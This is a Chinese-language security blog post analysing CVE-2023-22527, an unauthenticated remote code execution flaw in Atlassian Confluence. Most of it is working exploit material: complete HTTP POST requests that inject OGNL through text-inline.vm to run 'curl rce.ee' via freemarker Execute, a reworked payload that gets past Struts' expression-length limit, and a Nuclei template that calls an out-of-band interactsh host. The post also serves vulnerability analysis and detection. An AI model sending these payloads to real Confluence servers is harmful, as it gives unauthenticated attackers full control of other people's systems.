Atlassian Confluence远程代码执行漏洞(CVE-2023-22527)详解与利用分析

admin 2024年1月23日16:11:35评论72 views字数 4640阅读15分28秒阅读模式

Atlassian Confluence远程代码执行漏洞(CVE-2023-22527)详解与利用分析

漏洞描述:

CVE-2023-22527 是 Atlassian Confluence 服务器和数据中心中的一个严重漏洞。此漏洞存在于较旧版本的Confluence Data Center和Server中,允许未经身份验证的攻击者在受影响的实例上实现远程代码执行(RCE)。该漏洞的存在意味着攻击者可以利用特定路径执行任意代码,可能导致对系统的完全控制。

漏洞原因:

漏洞的根本原因是 Confluence 在处理 Velocity 模板文件时存在模板注入漏洞。在一些旧版本中,攻击者可以通过特定的模板注入技巧,绕过身份验证并执行 OGNL 表达式,从而导致系统代码执行。这主要是因为在模板处理过程中未正确过滤和验证用户提供的输入。

漏洞利用:

攻击者利用漏洞的步骤如下:

  • 识别漏洞路径: 攻击者首先查找在受影响的 Confluence 实例上触发漏洞的路径。通过检查 Velocity 模板文件,他们发现了一些可疑的代码片段,如 text-inline.vmpagelist.vm

  • 模板注入: 攻击者通过修改输入参数,特别是通过在字符串周围添加双引号等手法,注入恶意 OGNL 表达式。例如,修改原本的 #set ($pageList = $stack.findValue($parameters.pages))#set ($pageList = $stack.findValue("$parameters.pages"))

  • 绕过限制: 在利用过程中,攻击者可能会遇到一些安全限制,比如表达式长度的限制。为了绕过这些限制,他们可能会使用一些技巧,例如使用 Unicode 转义,以确保恶意表达式的执行。

  • 远程代码执行: 利用成功后,攻击者通过 OGNL 表达式执行系统命令。在示例中,他们使用了 exec({"curl rce.ee"}) 来执行远程命令。

这部分直接利用POC模板注入开始!

POST /template/aui/text-inline.vm HTTP/1.1Host: localhost:8090Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 255label=u0027%2b#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2bu0027

在尝试执行代码时,遇到了一个小问题。经过调试,发现如果使用的OGNL模板长度超过了 Struts 的配置值 struts.ognl.expressionMaxLength,将会触发安全机制,导致解析被阻止。具体的错误信息如下:

ognl.OgnlException: Parsing blocked due to security reasons! [java.lang.SecurityException: This expression exceeded maximum allowed length: getText('AAAA...AAAA')]

原因分析:

这个问题的根本原因是 Struts 的安全设置。当攻击者尝试执行的OGNL模板长度超过了配置的最大允许长度时,系统会阻止解析以防止潜在的恶意代码执行。具体而言,文中提到了 getText('AAAA...AAAA') 这个尝试的有效负载,其中 'AAAA...AAAA' 是表示OGNL表达式的字符串。但由于其长度超过了系统设置,导致解析被拦截。

重新编写利用:

POST /template/aui/text-inline.vm HTTP/1.1Host: {{Hostname}}Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedlabel=u0027%2b#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue(#parameters.x,{})%2bu0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})

在这个请求中,有效负载主要位于 label 和 x 参数中。攻击者利用了 Confluence 的模板注入漏洞,通过构造恶意的 OGNL 表达式,执行了一个包含 curl 命令的远程代码。请注意,{{Hostname}} 和 {{interactsh-url}} 是占位符,可能在实际利用时被替换为目标主机和互动式 Shell 的 URL。

label=u0027%2b#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue(#parameters.x,{})%2bu0027

这部分是一个注入 OGNL 表达式的操作。攻击者通过修改 label 参数中的内容,将 OGNL 表达式嵌入到 Velocity 模板中。在这里,通过使用 Unicode 转义,将字符 ' 转换为 u0027,确保表达式的正确执行。这个 OGNL 表达式的目的是在 Confluence 中寻找并执行特定的 OGNL 表达式,进而触发远程代码执行。

&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})

这部分是为了执行远程代码。攻击者通过构造参数 x,使用 Freemarker 模板引擎中的 Execute 工具类,执行了一个包含 curl {{interactsh-url}} 命令的操作。这里 {{interactsh-url}} 可能是一个互动式 Shell 的 URL,攻击者可以通过这个 Shell 进行远程控制。

Nuclei 模板来检测 Atlassian Confluence 实例上的 CVE-2023-22527:

id: CVE-2023-22527info:  name: Atlassian Confluence - Remote Code Execution  author: iamnooob,rootxharsh,pdresearch  severity: critical  description: |    A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.    Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.  reference:    - https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615    - https://jira.atlassian.com/browse/CONFSERVER-93833    - https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/  classification:    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H    cvss-score: 10    cve-id: CVE-2023-22527    epss-score: 0.00044    epss-percentile: 0.08115    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*  metadata:    max-request: 1    vendor: atlassian    product: confluence_data_center    shodan-query: http.component:"Atlassian Confluence"  tags: cve,cve2023,confluence,rce,sstihttp:  - raw:      - |+        POST /template/aui/text-inline.vm HTTP/1.1        Host: {{Hostname}}        Accept-Encoding: gzip, deflate, br        Content-Type: application/x-www-form-urlencoded        label=u0027%2b#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue(#parameters.x,{})%2bu0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})    matchers-condition: and    matchers:      - type: word        words:          - 'Empty{name='      - type: word        part: interactsh_protocol        words:          - dns

参考:https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/

原文始发于微信公众号(Ots安全):Atlassian Confluence远程代码执行漏洞(CVE-2023-22527)详解与利用分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月23日16:11:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Atlassian Confluence远程代码执行漏洞(CVE-2023-22527)详解与利用分析https://cn-sec.com/archives/2422127.html

发表评论

匿名网友 填写信息